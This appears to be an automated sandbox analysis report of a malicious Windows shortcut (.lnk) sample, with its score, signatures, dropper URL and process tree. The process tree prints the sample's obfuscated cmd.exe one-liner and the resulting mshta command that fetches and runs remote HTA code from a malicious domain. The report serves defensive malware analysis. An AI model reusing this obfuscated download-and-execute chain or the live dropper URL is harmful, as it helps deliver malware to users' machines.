Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:23

General

  • Target
    DOC-566DMQ.lnk
  • Size 2KB
  • Sample260804-kacqhsar5w
  • SHA256 ceb4da876a323579f241a22eb10c6e838026ec66a8503b213546c325e50d754d
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-566DMQ.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1136
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set UP=syshcsokvpcpgaerewjsys&set SuU=netjvkvxblrrvxlojouanet&set Gor=cfgxhvccfg&set gkFiG=logmvhttnjbgfxpsweshtdlog&set pJRuw=a9msh5&&set QaZf=0ta5h&set Hx=winlkvcfaulssewldwin&set mrCp=logvshuaptorcorlniflog&set vcCVr=datdgtqklintdat&set Cijgf=tmppkuwypqcevqqsopamtthetmp&set DI=5l9sa1w&&set mC=ngtarta&&set mn=h@ttps@:@//m@a-@pdffiller.@l@a@t/@h@/e@sta@[email protected]@p?@r=391@4@69@F@B5@D82DB&&start /b !pJRuw:~2,3!!QaZf:~1,2! !mn:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1968
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5800

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads